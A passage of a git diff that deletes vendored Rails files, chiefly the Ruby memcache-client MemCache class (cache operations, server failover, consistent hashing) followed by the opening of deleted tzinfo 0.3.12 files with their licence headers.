-    :namespace   => nil,
-    :readonly    => false,
-    :multithread => true,
-    :failover    => true,
-    :timeout     => 0.5,
-    :logger      => nil,
-    :no_reply    => false,
-  }
-
-  ##
-  # Default memcached port.
-
-  DEFAULT_PORT = 11211
-
-  ##
-  # Default memcached server weight.
-
-  DEFAULT_WEIGHT = 1
-
-  ##
-  # The namespace for this instance
-
-  attr_reader :namespace
-
-  ##
-  # The multithread setting for this instance
-
-  attr_reader :multithread
-
-  ##
-  # The servers this client talks to.  Play at your own peril.
-
-  attr_reader :servers
-
-  ##
-  # Socket timeout limit with this client, defaults to 0.5 sec.
-  # Set to nil to disable timeouts.
-
-  attr_reader :timeout
-
-  ##
-  # Should the client try to failover to another server if the
-  # first server is down?  Defaults to true.
-
-  attr_reader :failover
-
-  ##
-  # Log debug/info/warn/error to the given Logger, defaults to nil.
-
-  attr_reader :logger
-
-  ##
-  # Don't send or look for a reply from the memcached server for write operations.
-  # Please note this feature only works in memcached 1.2.5 and later.  Earlier
-  # versions will reply with "ERROR".
-  attr_reader :no_reply
-
-  ##
-  # Accepts a list of +servers+ and a list of +opts+.  +servers+ may be
-  # omitted.  See +servers=+ for acceptable server list arguments.
-  #
-  # Valid options for +opts+ are:
-  #
-  #   [:namespace]   Prepends this value to all keys added or retrieved.
-  #   [:readonly]    Raises an exception on cache writes when true.
-  #   [:multithread] Wraps cache access in a Mutex for thread safety. Defaults to true.
-  #   [:failover]    Should the client try to failover to another server if the
-  #                  first server is down?  Defaults to true.
-  #   [:timeout]     Time to use as the socket read timeout.  Defaults to 0.5 sec,
-  #                  set to nil to disable timeouts (this is a major performance penalty in Ruby 1.8,
-  #                  "gem install SystemTimer' to remove most of the penalty).
-  #   [:logger]      Logger to use for info/debug output, defaults to nil
-  #   [:no_reply]    Don't bother looking for a reply for write operations (i.e. they
-  #                  become 'fire and forget'), memcached 1.2.5 and later only, speeds up
-  #                  set/add/delete/incr/decr significantly.
-  #
-  # Other options are ignored.
-
-  def initialize(*args)
-    servers = []
-    opts = {}
-
-    case args.length
-    when 0 then # NOP
-    when 1 then
-      arg = args.shift
-      case arg
-      when Hash   then opts = arg
-      when Array  then servers = arg
-      when String then servers = [arg]
-      else raise ArgumentError, 'first argument must be Array, Hash or String'
-      end
-    when 2 then
-      servers, opts = args
-    else
-      raise ArgumentError, "wrong number of arguments (#{args.length} for 2)"
-    end
-
-    opts = DEFAULT_OPTIONS.merge opts
-    @namespace   = opts[:namespace]
-    @readonly    = opts[:readonly]
-    @multithread = opts[:multithread]
-    @timeout     = opts[:timeout]
-    @failover    = opts[:failover]
-    @logger      = opts[:logger]
-    @no_reply    = opts[:no_reply]
-    @mutex       = Mutex.new if @multithread
-
-    logger.info { "memcache-client #{VERSION} #{Array(servers).inspect}" } if logger
-
-    Thread.current[:memcache_client] = self.object_id if !@multithread
-
-    self.servers = servers
-  end
-
-  ##
-  # Returns a string representation of the cache object.
-
-  def inspect
-    "<MemCache: %d servers, ns: %p, ro: %p>" %
-      [@servers.length, @namespace, @readonly]
-  end
-
-  ##
-  # Returns whether there is at least one active server for the object.
-
-  def active?
-    not @servers.empty?
-  end
-
-  ##
-  # Returns whether or not the cache object was created read only.
-
-  def readonly?
-    @readonly
-  end
-
-  ##
-  # Set the servers that the requests will be distributed between.  Entries
-  # can be either strings of the form "hostname:port" or
-  # "hostname:port:weight" or MemCache::Server objects.
-  #
-  def servers=(servers)
-    # Create the server objects.
-    @servers = Array(servers).collect do |server|
-      case server
-      when String
-        host, port, weight = server.split ':', 3
-        port ||= DEFAULT_PORT
-        weight ||= DEFAULT_WEIGHT
-        Server.new self, host, port, weight
-      else
-        server
-      end
-    end
-
-    logger.debug { "Servers now: #{@servers.inspect}" } if logger
-
-    # There's no point in doing this if there's only one server
-    @continuum = create_continuum_for(@servers) if @servers.size > 1
-
-    @servers
-  end
-
-  ##
-  # Decrements the value for +key+ by +amount+ and returns the new value.
-  # +key+ must already exist.  If +key+ is not an integer, it is assumed to be
-  # 0.  +key+ can not be decremented below 0.
-
-  def decr(key, amount = 1)
-    raise MemCacheError, "Update of readonly cache" if @readonly
-    with_server(key) do |server, cache_key|
-      cache_decr server, cache_key, amount
-    end
-  rescue TypeError => err
-    handle_error nil, err
-  end
-
-  ##
-  # Retrieves +key+ from memcache.  If +raw+ is false, the value will be
-  # unmarshalled.
-
-  def get(key, raw = false)
-    with_server(key) do |server, cache_key|
-      logger.debug { "get #{key} from #{server.inspect}" } if logger
-      value = cache_get server, cache_key
-      return nil if value.nil?
-      value = Marshal.load value unless raw
-      return value
-    end
-  rescue TypeError => err
-    handle_error nil, err
-  end
-
-  ##
-  # Performs a +get+ with the given +key+.  If 
-  # the value does not exist and a block was given,
-  # the block will be called and the result saved via +add+.
-  #
-  # If you do not provide a block, using this
-  # method is the same as using +get+.
-  #
-  def fetch(key, expiry = 0, raw = false)
-    value = get(key, raw)
-
-    if value.nil? && block_given?
-      value = yield
-      add(key, value, expiry, raw)
-    end
-
-    value
-  end
-
-  ##
-  # Retrieves multiple values from memcached in parallel, if possible.
-  #
-  # The memcached protocol supports the ability to retrieve multiple
-  # keys in a single request.  Pass in an array of keys to this method
-  # and it will:
-  #
-  # 1. map the key to the appropriate memcached server
-  # 2. send a single request to each server that has one or more key values
-  #
-  # Returns a hash of values.
-  #
-  #   cache["a"] = 1
-  #   cache["b"] = 2
-  #   cache.get_multi "a", "b" # => { "a" => 1, "b" => 2 }
-  #
-  # Note that get_multi assumes the values are marshalled.
-
-  def get_multi(*keys)
-    raise MemCacheError, 'No active servers' unless active?
-
-    keys.flatten!
-    key_count = keys.length
-    cache_keys = {}
-    server_keys = Hash.new { |h,k| h[k] = [] }
-
-    # map keys to servers
-    keys.each do |key|
-      server, cache_key = request_setup key
-      cache_keys[cache_key] = key
-      server_keys[server] << cache_key
-    end
-
-    results = {}
-
-    server_keys.each do |server, keys_for_server|
-      keys_for_server_str = keys_for_server.join ' '
-      begin
-        values = cache_get_multi server, keys_for_server_str
-        values.each do |key, value|
-          results[cache_keys[key]] = Marshal.load value
-        end
-      rescue IndexError => e
-        # Ignore this server and try the others
-        logger.warn { "Unable to retrieve #{keys_for_server.size} elements from #{server.inspect}: #{e.message}"} if logger
-      end
-    end
-
-    return results
-  rescue TypeError => err
-    handle_error nil, err
-  end
-
-  ##
-  # Increments the value for +key+ by +amount+ and returns the new value.
-  # +key+ must already exist.  If +key+ is not an integer, it is assumed to be
-  # 0.
-
-  def incr(key, amount = 1)
-    raise MemCacheError, "Update of readonly cache" if @readonly
-    with_server(key) do |server, cache_key|
-      cache_incr server, cache_key, amount
-    end
-  rescue TypeError => err
-    handle_error nil, err
-  end
-
-  ##
-  # Add +key+ to the cache with value +value+ that expires in +expiry+
-  # seconds.  If +raw+ is true, +value+ will not be Marshalled.
-  #
-  # Warning: Readers should not call this method in the event of a cache miss;
-  # see MemCache#add.
-
-  ONE_MB = 1024 * 1024
-
-  def set(key, value, expiry = 0, raw = false)
-    raise MemCacheError, "Update of readonly cache" if @readonly
-    with_server(key) do |server, cache_key|
-
-      value = Marshal.dump value unless raw
-      logger.debug { "set #{key} to #{server.inspect}: #{value.to_s.size}" } if logger
-
-      raise MemCacheError, "Value too large, memcached can only store 1MB of data per key" if value.to_s.size > ONE_MB
-
-      command = "set #{cache_key} 0 #{expiry} #{value.to_s.size}#{noreply}\r\n#{value}\r\n"
-
-      with_socket_management(server) do |socket|
-        socket.write command
-        break nil if @no_reply
-        result = socket.gets
-        raise_on_error_response! result
-
-        if result.nil?
-          server.close
-          raise MemCacheError, "lost connection to #{server.host}:#{server.port}"
-        end
-
-        result
-      end
-    end
-  end
-
-  ##
-  # "cas" is a check and set operation which means "store this data but
-  # only if no one else has updated since I last fetched it."  This can
-  # be used as a form of optimistic locking.
-  #
-  # Works in block form like so:
-  #   cache.cas('some-key') do |value|
-  #     value + 1
-  #   end
-  #
-  # Returns:
-  # +nil+ if the value was not found on the memcached server.
-  # +STORED+ if the value was updated successfully
-  # +EXISTS+ if the value was updated by someone else since last fetch
-
-  def cas(key, expiry=0, raw=false)
-    raise MemCacheError, "Update of readonly cache" if @readonly
-    raise MemCacheError, "A block is required" unless block_given?
-
-    (value, token) = gets(key, raw)
-    return nil unless value
-    updated = yield value
-
-    with_server(key) do |server, cache_key|
-
-      value = Marshal.dump updated unless raw
-      logger.debug { "cas #{key} to #{server.inspect}: #{value.to_s.size}" } if logger
-      command = "cas #{cache_key} 0 #{expiry} #{value.to_s.size} #{token}#{noreply}\r\n#{value}\r\n"
-
-      with_socket_management(server) do |socket|
-        socket.write command
-        break nil if @no_reply
-        result = socket.gets
-        raise_on_error_response! result
-
-        if result.nil?
-          server.close
-          raise MemCacheError, "lost connection to #{server.host}:#{server.port}"
-        end
-
-        result
-      end
-    end
-  end
-
-  ##
-  # Add +key+ to the cache with value +value+ that expires in +expiry+
-  # seconds, but only if +key+ does not already exist in the cache.
-  # If +raw+ is true, +value+ will not be Marshalled.
-  #
-  # Readers should call this method in the event of a cache miss, not
-  # MemCache#set.
-
-  def add(key, value, expiry = 0, raw = false)
-    raise MemCacheError, "Update of readonly cache" if @readonly
-    with_server(key) do |server, cache_key|
-      value = Marshal.dump value unless raw
-      logger.debug { "add #{key} to #{server}: #{value ? value.to_s.size : 'nil'}" } if logger
-      command = "add #{cache_key} 0 #{expiry} #{value.to_s.size}#{noreply}\r\n#{value}\r\n"
-
-      with_socket_management(server) do |socket|
-        socket.write command
-        break nil if @no_reply
-        result = socket.gets
-        raise_on_error_response! result
-        result
-      end
-    end
-  end
-  
-  ##
-  # Add +key+ to the cache with value +value+ that expires in +expiry+
-  # seconds, but only if +key+ already exists in the cache.
-  # If +raw+ is true, +value+ will not be Marshalled.
-  def replace(key, value, expiry = 0, raw = false)
-    raise MemCacheError, "Update of readonly cache" if @readonly
-    with_server(key) do |server, cache_key|
-      value = Marshal.dump value unless raw
-      logger.debug { "replace #{key} to #{server}: #{value ? value.to_s.size : 'nil'}" } if logger
-      command = "replace #{cache_key} 0 #{expiry} #{value.to_s.size}#{noreply}\r\n#{value}\r\n"
-
-      with_socket_management(server) do |socket|
-        socket.write command
-        break nil if @no_reply
-        result = socket.gets
-        raise_on_error_response! result
-        result
-      end
-    end
-  end
-
-  ##
-  # Append - 'add this data to an existing key after existing data'
-  # Please note the value is always passed to memcached as raw since it
-  # doesn't make a lot of sense to concatenate marshalled data together.
-  def append(key, value)
-    raise MemCacheError, "Update of readonly cache" if @readonly
-    with_server(key) do |server, cache_key|
-      logger.debug { "append #{key} to #{server}: #{value ? value.to_s.size : 'nil'}" } if logger
-      command = "append #{cache_key} 0 0 #{value.to_s.size}#{noreply}\r\n#{value}\r\n"
-
-      with_socket_management(server) do |socket|
-        socket.write command
-        break nil if @no_reply
-        result = socket.gets
-        raise_on_error_response! result
-        result
-      end
-    end
-  end
-
-  ##
-  # Prepend - 'add this data to an existing key before existing data'
-  # Please note the value is always passed to memcached as raw since it
-  # doesn't make a lot of sense to concatenate marshalled data together.
-  def prepend(key, value)
-    raise MemCacheError, "Update of readonly cache" if @readonly
-    with_server(key) do |server, cache_key|
-      logger.debug { "prepend #{key} to #{server}: #{value ? value.to_s.size : 'nil'}" } if logger
-      command = "prepend #{cache_key} 0 0 #{value.to_s.size}#{noreply}\r\n#{value}\r\n"
-
-      with_socket_management(server) do |socket|
-        socket.write command
-        break nil if @no_reply
-        result = socket.gets
-        raise_on_error_response! result
-        result
-      end
-    end
-  end
-
-  ##
-  # Removes +key+ from the cache in +expiry+ seconds.
-
-  def delete(key, expiry = 0)
-    raise MemCacheError, "Update of readonly cache" if @readonly
-    with_server(key) do |server, cache_key|
-      with_socket_management(server) do |socket|
-        logger.debug { "delete #{cache_key} on #{server}" } if logger
-        socket.write "delete #{cache_key} #{expiry}#{noreply}\r\n"
-        break nil if @no_reply
-        result = socket.gets
-        raise_on_error_response! result
-        result
-      end
-    end
-  end
-
-  ##
-  # Flush the cache from all memcache servers.
-  # A non-zero value for +delay+ will ensure that the flush
-  # is propogated slowly through your memcached server farm.
-  # The Nth server will be flushed N*delay seconds from now,
-  # asynchronously so this method returns quickly.
-  # This prevents a huge database spike due to a total
-  # flush all at once.
-
-  def flush_all(delay=0)
-    raise MemCacheError, 'No active servers' unless active?
-    raise MemCacheError, "Update of readonly cache" if @readonly
-
-    begin
-      delay_time = 0
-      @servers.each do |server|
-        with_socket_management(server) do |socket|
-          logger.debug { "flush_all #{delay_time} on #{server}" } if logger
-          if delay == 0 # older versions of memcached will fail silently otherwise
-            socket.write "flush_all#{noreply}\r\n"
-          else
-            socket.write "flush_all #{delay_time}#{noreply}\r\n"
-          end
-          break nil if @no_reply
-          result = socket.gets
-          raise_on_error_response! result
-          result
-        end
-        delay_time += delay
-      end
-    rescue IndexError => err
-      handle_error nil, err
-    end
-  end
-
-  ##
-  # Reset the connection to all memcache servers.  This should be called if
-  # there is a problem with a cache lookup that might have left the connection
-  # in a corrupted state.
-
-  def reset
-    @servers.each { |server| server.close }
-  end
-
-  ##
-  # Returns statistics for each memcached server.  An explanation of the
-  # statistics can be found in the memcached docs:
-  #
-  # http://code.sixapart.com/svn/memcached/trunk/server/doc/protocol.txt
-  #
-  # Example:
-  #
-  #   >> pp CACHE.stats
-  #   {"localhost:11211"=>
-  #     {"bytes"=>4718,
-  #      "pid"=>20188,
-  #      "connection_structures"=>4,
-  #      "time"=>1162278121,
-  #      "pointer_size"=>32,
-  #      "limit_maxbytes"=>67108864,
-  #      "cmd_get"=>14532,
-  #      "version"=>"1.2.0",
-  #      "bytes_written"=>432583,
-  #      "cmd_set"=>32,
-  #      "get_misses"=>0,
-  #      "total_connections"=>19,
-  #      "curr_connections"=>3,
-  #      "curr_items"=>4,
-  #      "uptime"=>1557,
-  #      "get_hits"=>14532,
-  #      "total_items"=>32,
-  #      "rusage_system"=>0.313952,
-  #      "rusage_user"=>0.119981,
-  #      "bytes_read"=>190619}}
-  #   => nil
-
-  def stats
-    raise MemCacheError, "No active servers" unless active?
-    server_stats = {}
-
-    @servers.each do |server|
-      next unless server.alive?
-
-      with_socket_management(server) do |socket|
-        value = nil
-        socket.write "stats\r\n"
-        stats = {}
-        while line = socket.gets do
-          raise_on_error_response! line
-          break if line == "END\r\n"
-          if line =~ /\ASTAT ([\S]+) ([\w\.\:]+)/ then
-            name, value = $1, $2
-            stats[name] = case name
-                          when 'version'
-                            value
-                          when 'rusage_user', 'rusage_system' then
-                            seconds, microseconds = value.split(/:/, 2)
-                            microseconds ||= 0
-                            Float(seconds) + (Float(microseconds) / 1_000_000)
-                          else
-                            if value =~ /\A\d+\Z/ then
-                              value.to_i
-                            else
-                              value
-                            end
-                          end
-          end
-        end
-        server_stats["#{server.host}:#{server.port}"] = stats
-      end
-    end
-
-    raise MemCacheError, "No active servers" if server_stats.empty?
-    server_stats
-  end
-
-  ##
-  # Shortcut to get a value from the cache.
-
-  alias [] get
-
-  ##
-  # Shortcut to save a value in the cache.  This method does not set an
-  # expiration on the entry.  Use set to specify an explicit expiry.
-
-  def []=(key, value)
-    set key, value
-  end
-
-  protected unless $TESTING
-
-  ##
-  # Create a key for the cache, incorporating the namespace qualifier if
-  # requested.
-
-  def make_cache_key(key)
-    if namespace.nil? then
-      key
-    else
-      "#{@namespace}:#{key}"
-    end
-  end
-
-  ##
-  # Returns an interoperable hash value for +key+.  (I think, docs are
-  # sketchy for down servers).
-
-  def hash_for(key)
-    Zlib.crc32(key)
-  end
-
-  ##
-  # Pick a server to handle the request based on a hash of the key.
-
-  def get_server_for_key(key, options = {})
-    raise ArgumentError, "illegal character in key #{key.inspect}" if
-      key =~ /\s/
-    raise ArgumentError, "key too long #{key.inspect}" if key.length > 250
-    raise MemCacheError, "No servers available" if @servers.empty?
-    return @servers.first if @servers.length == 1
-
-    hkey = hash_for(key)
-
-    20.times do |try|
-      entryidx = Continuum.binary_search(@continuum, hkey)
-      server = @continuum[entryidx].server
-      return server if server.alive?
-      break unless failover
-      hkey = hash_for "#{try}#{key}"
-    end
-    
-    raise MemCacheError, "No servers available"
-  end
-
-  ##
-  # Performs a raw decr for +cache_key+ from +server+.  Returns nil if not
-  # found.
-
-  def cache_decr(server, cache_key, amount)
-    with_socket_management(server) do |socket|
-      socket.write "decr #{cache_key} #{amount}#{noreply}\r\n"
-      break nil if @no_reply
-      text = socket.gets
-      raise_on_error_response! text
-      return nil if text == "NOT_FOUND\r\n"
-      return text.to_i
-    end
-  end
-
-  ##
-  # Fetches the raw data for +cache_key+ from +server+.  Returns nil on cache
-  # miss.
-
-  def cache_get(server, cache_key)
-    with_socket_management(server) do |socket|
-      socket.write "get #{cache_key}\r\n"
-      keyline = socket.gets # "VALUE <key> <flags> <bytes>\r\n"
-
-      if keyline.nil? then
-        server.close
-        raise MemCacheError, "lost connection to #{server.host}:#{server.port}"
-      end
-
-      raise_on_error_response! keyline
-      return nil if keyline == "END\r\n"
-
-      unless keyline =~ /(\d+)\r/ then
-        server.close
-        raise MemCacheError, "unexpected response #{keyline.inspect}"
-      end
-      value = socket.read $1.to_i
-      socket.read 2 # "\r\n"
-      socket.gets   # "END\r\n"
-      return value
-    end
-  end
-
-  def gets(key, raw = false)
-    with_server(key) do |server, cache_key|
-      logger.debug { "gets #{key} from #{server.inspect}" } if logger
-      result = with_socket_management(server) do |socket|
-        socket.write "gets #{cache_key}\r\n"
-        keyline = socket.gets # "VALUE <key> <flags> <bytes> <cas token>\r\n"
-
-        if keyline.nil? then
-          server.close
-          raise MemCacheError, "lost connection to #{server.host}:#{server.port}"
-        end
-
-        raise_on_error_response! keyline
-        return nil if keyline == "END\r\n"
-
-        unless keyline =~ /(\d+) (\w+)\r/ then
-          server.close
-          raise MemCacheError, "unexpected response #{keyline.inspect}"
-        end
-        value = socket.read $1.to_i
-        socket.read 2 # "\r\n"
-        socket.gets   # "END\r\n"
-        [value, $2]
-      end
-      result[0] = Marshal.load result[0] unless raw
-      result
-    end
-  rescue TypeError => err
-    handle_error nil, err
-  end
-
-
-  ##
-  # Fetches +cache_keys+ from +server+ using a multi-get.
-
-  def cache_get_multi(server, cache_keys)
-    with_socket_management(server) do |socket|
-      values = {}
-      socket.write "get #{cache_keys}\r\n"
-
-      while keyline = socket.gets do
-        return values if keyline == "END\r\n"
-        raise_on_error_response! keyline
-
-        unless keyline =~ /\AVALUE (.+) (.+) (.+)/ then
-          server.close
-          raise MemCacheError, "unexpected response #{keyline.inspect}"
-        end
-
-        key, data_length = $1, $3
-        values[$1] = socket.read data_length.to_i
-        socket.read(2) # "\r\n"
-      end
-
-      server.close
-      raise MemCacheError, "lost connection to #{server.host}:#{server.port}" # TODO: retry here too
-    end
-  end
-
-  ##
-  # Performs a raw incr for +cache_key+ from +server+.  Returns nil if not
-  # found.
-
-  def cache_incr(server, cache_key, amount)
-    with_socket_management(server) do |socket|
-      socket.write "incr #{cache_key} #{amount}#{noreply}\r\n"
-      break nil if @no_reply
-      text = socket.gets
-      raise_on_error_response! text
-      return nil if text == "NOT_FOUND\r\n"
-      return text.to_i
-    end
-  end
-
-  ##
-  # Gets or creates a socket connected to the given server, and yields it
-  # to the block, wrapped in a mutex synchronization if @multithread is true.
-  #
-  # If a socket error (SocketError, SystemCallError, IOError) or protocol error
-  # (MemCacheError) is raised by the block, closes the socket, attempts to
-  # connect again, and retries the block (once).  If an error is again raised,
-  # reraises it as MemCacheError.
-  #
-  # If unable to connect to the server (or if in the reconnect wait period),
-  # raises MemCacheError.  Note that the socket connect code marks a server
-  # dead for a timeout period, so retrying does not apply to connection attempt
-  # failures (but does still apply to unexpectedly lost connections etc.).
-
-  def with_socket_management(server, &block)
-    check_multithread_status!
-
-    @mutex.lock if @multithread
-    retried = false
-
-    begin
-      socket = server.socket
-
-      # Raise an IndexError to show this server is out of whack. If were inside
-      # a with_server block, we'll catch it and attempt to restart the operation.
-
-      raise IndexError, "No connection to server (#{server.status})" if socket.nil?
-
-      block.call(socket)
-
-    rescue SocketError, Errno::EAGAIN, Timeout::Error => err
-      logger.warn { "Socket failure: #{err.message}" } if logger
-      server.mark_dead(err)
-      handle_error(server, err)
-
-    rescue MemCacheError, SystemCallError, IOError => err
-      logger.warn { "Generic failure: #{err.class.name}: #{err.message}" } if logger
-      handle_error(server, err) if retried || socket.nil?
-      retried = true
-      retry
-    end
-  ensure
-    @mutex.unlock if @multithread
-  end
-
-  def with_server(key)
-    retried = false
-    begin
-      server, cache_key = request_setup(key)
-      yield server, cache_key
-    rescue IndexError => e
-      logger.warn { "Server failed: #{e.class.name}: #{e.message}" } if logger
-      if !retried && @servers.size > 1
-        logger.info { "Connection to server #{server.inspect} DIED! Retrying operation..." } if logger
-        retried = true
-        retry
-      end
-      handle_error(nil, e)
-    end
-  end
-
-  ##
-  # Handles +error+ from +server+.
-
-  def handle_error(server, error)
-    raise error if error.is_a?(MemCacheError)
-    server.close if server
-    new_error = MemCacheError.new error.message
-    new_error.set_backtrace error.backtrace
-    raise new_error
-  end
-
-  def noreply
-    @no_reply ? ' noreply' : ''
-  end
-
-  ##
-  # Performs setup for making a request with +key+ from memcached.  Returns
-  # the server to fetch the key from and the complete key to use.
-
-  def request_setup(key)
-    raise MemCacheError, 'No active servers' unless active?
-    cache_key = make_cache_key key
-    server = get_server_for_key cache_key
-    return server, cache_key
-  end
-
-  def raise_on_error_response!(response)
-    if response =~ /\A(?:CLIENT_|SERVER_)?ERROR(.*)/
-      raise MemCacheError, $1.strip
-    end
-  end
-
-  def create_continuum_for(servers)
-    total_weight = servers.inject(0) { |memo, srv| memo + srv.weight }
-    continuum = []
-
-    servers.each do |server|
-      entry_count_for(server, servers.size, total_weight).times do |idx|
-        hash = Digest::SHA1.hexdigest("#{server.host}:#{server.port}:#{idx}")
-        value = Integer("0x#{hash[0..7]}")
-        continuum << Continuum::Entry.new(value, server)
-      end
-    end
-
-    continuum.sort { |a, b| a.value <=> b.value }
-  end
-
-  def entry_count_for(server, total_servers, total_weight)
-    ((total_servers * Continuum::POINTS_PER_SERVER * server.weight) / Float(total_weight)).floor
-  end
-
-  def check_multithread_status!
-    return if @multithread
-
-    if Thread.current[:memcache_client] != self.object_id
-      raise MemCacheError, <<-EOM
-        You are accessing this memcache-client instance from multiple threads but have not enabled multithread support.
-        Normally:  MemCache.new(['localhost:11211'], :multithread => true)
-        In Rails:  config.cache_store = [:mem_cache_store, 'localhost:11211', { :multithread => true }]
-      EOM
-    end
-  end
-
-  ##
-  # This class represents a memcached server instance.
-
-  class Server
-
-    ##
-    # The amount of time to wait before attempting to re-establish a
-    # connection with a server that is marked dead.
-
-    RETRY_DELAY = 30.0
-
-    ##
-    # The host the memcached server is running on.
-
-    attr_reader :host
-
-    ##
-    # The port the memcached server is listening on.
-
-    attr_reader :port
-
-    ##
-    # The weight given to the server.
-
-    attr_reader :weight
-
-    ##
-    # The time of next retry if the connection is dead.
-
-    attr_reader :retry
-
-    ##
-    # A text status string describing the state of the server.
-
-    attr_reader :status
-
-    attr_reader :logger
-
-    ##
-    # Create a new MemCache::Server object for the memcached instance
-    # listening on the given host and port, weighted by the given weight.
-
-    def initialize(memcache, host, port = DEFAULT_PORT, weight = DEFAULT_WEIGHT)
-      raise ArgumentError, "No host specified" if host.nil? or host.empty?
-      raise ArgumentError, "No port specified" if port.nil? or port.to_i.zero?
-
-      @host   = host
-      @port   = port.to_i
-      @weight = weight.to_i
-
-      @sock   = nil
-      @retry  = nil
-      @status = 'NOT CONNECTED'
-      @timeout = memcache.timeout
-      @logger = memcache.logger
-    end
-
-    ##
-    # Return a string representation of the server object.
-
-    def inspect
-      "<MemCache::Server: %s:%d [%d] (%s)>" % [@host, @port, @weight, @status]
-    end
-
-    ##
-    # Check whether the server connection is alive.  This will cause the
-    # socket to attempt to connect if it isn't already connected and or if
-    # the server was previously marked as down and the retry time has
-    # been exceeded.
-
-    def alive?
-      !!socket
-    end
-
-    ##
-    # Try to connect to the memcached server targeted by this object.
-    # Returns the connected socket object on success or nil on failure.
-
-    def socket
-      return @sock if @sock and not @sock.closed?
-
-      @sock = nil
-
-      # If the host was dead, don't retry for a while.
-      return if @retry and @retry > Time.now
-
-      # Attempt to connect if not already connected.
-      begin
-        @sock = connect_to(@host, @port, @timeout)
-        @sock.setsockopt Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1
-        @retry  = nil
-        @status = 'CONNECTED'
-      rescue SocketError, SystemCallError, IOError => err
-        logger.warn { "Unable to open socket: #{err.class.name}, #{err.message}" } if logger
-        mark_dead err
-      end
-
-      return @sock
-    end
-
-    def connect_to(host, port, timeout=nil)
-      io = MemCache::BufferedIO.new(TCPSocket.new(host, port))
-      io.read_timeout = timeout
-      io
-    end
-
-    ##
-    # Close the connection to the memcached server targeted by this
-    # object.  The server is not considered dead.
-
-    def close
-      @sock.close if @sock && !@sock.closed?
-      @sock   = nil
-      @retry  = nil
-      @status = "NOT CONNECTED"
-    end
-
-    ##
-    # Mark the server as dead and close its socket.
-
-    def mark_dead(error)
-      @sock.close if @sock && !@sock.closed?
-      @sock   = nil
-      @retry  = Time.now + RETRY_DELAY
-
-      reason = "#{error.class.name}: #{error.message}"
-      @status = sprintf "%s:%s DEAD (%s), will retry at %s", @host, @port, reason, @retry
-      @logger.info { @status } if @logger
-    end
-
-  end
-
-  ##
-  # Base MemCache exception class.
-
-  class MemCacheError < RuntimeError; end
-
-  class BufferedIO < Net::BufferedIO # :nodoc:
-    BUFSIZE = 1024 * 16
-
-    # An implementation similar to this is in *trunk* for 1.9.  When it
-    # gets released, this method can be removed when using 1.9
-    def rbuf_fill
-      begin
-        @rbuf << @io.read_nonblock(BUFSIZE)
-      rescue Errno::EWOULDBLOCK
-        retry unless @read_timeout
-        if IO.select([@io], nil, nil, @read_timeout)
-          retry
-        else
-          raise Timeout::Error, 'IO timeout'
-        end
-      end
-    end
-
-    def setsockopt *args
-      @io.setsockopt *args
-    end
-
-    def gets
-      readuntil("\n")
-    end
-  end
-
-end
-
-module Continuum
-  POINTS_PER_SERVER = 160 # this is the default in libmemcached
-
-  # Find the closest index in Continuum with value <= the given value
-  def self.binary_search(ary, value, &block)
-    upper = ary.size - 1
-    lower = 0
-    idx = 0
-
-    while(lower <= upper) do
-      idx = (lower + upper) / 2
-      comp = ary[idx].value <=> value
-
-      if comp == 0
-        return idx
-      elsif comp > 0
-        upper = idx - 1
-      else
-        lower = idx + 1
-      end
-    end
-    return upper
-  end
-
-  class Entry
-    attr_reader :value
-    attr_reader :server
-
-    def initialize(val, srv)
-      @value = val
-      @server = srv
-    end
-
-    def inspect
-      "<#{value}, #{server.host}:#{server.port}>"
-    end
-  end
-
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo.rb
deleted file mode 100644
index c8bdbeec..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-#--
-# Copyright (c) 2005-2006 Philip Ross
-# 
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#++
-
-# Add the directory containing this file to the start of the load path if it
-# isn't there already.
-$:.unshift(File.dirname(__FILE__)) unless
-  $:.include?(File.dirname(__FILE__)) || $:.include?(File.expand_path(File.dirname(__FILE__)))
-
-require 'tzinfo/timezone'
-# require 'tzinfo/country'
-# require 'tzinfo/tzdataparser'
-# require 'tzinfo/timezone_proxy'
-require 'tzinfo/data_timezone'
-require 'tzinfo/linked_timezone'
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone.rb
deleted file mode 100644
index 5eccbdf0..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-#--
-# Copyright (c) 2006 Philip Ross
-# 
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
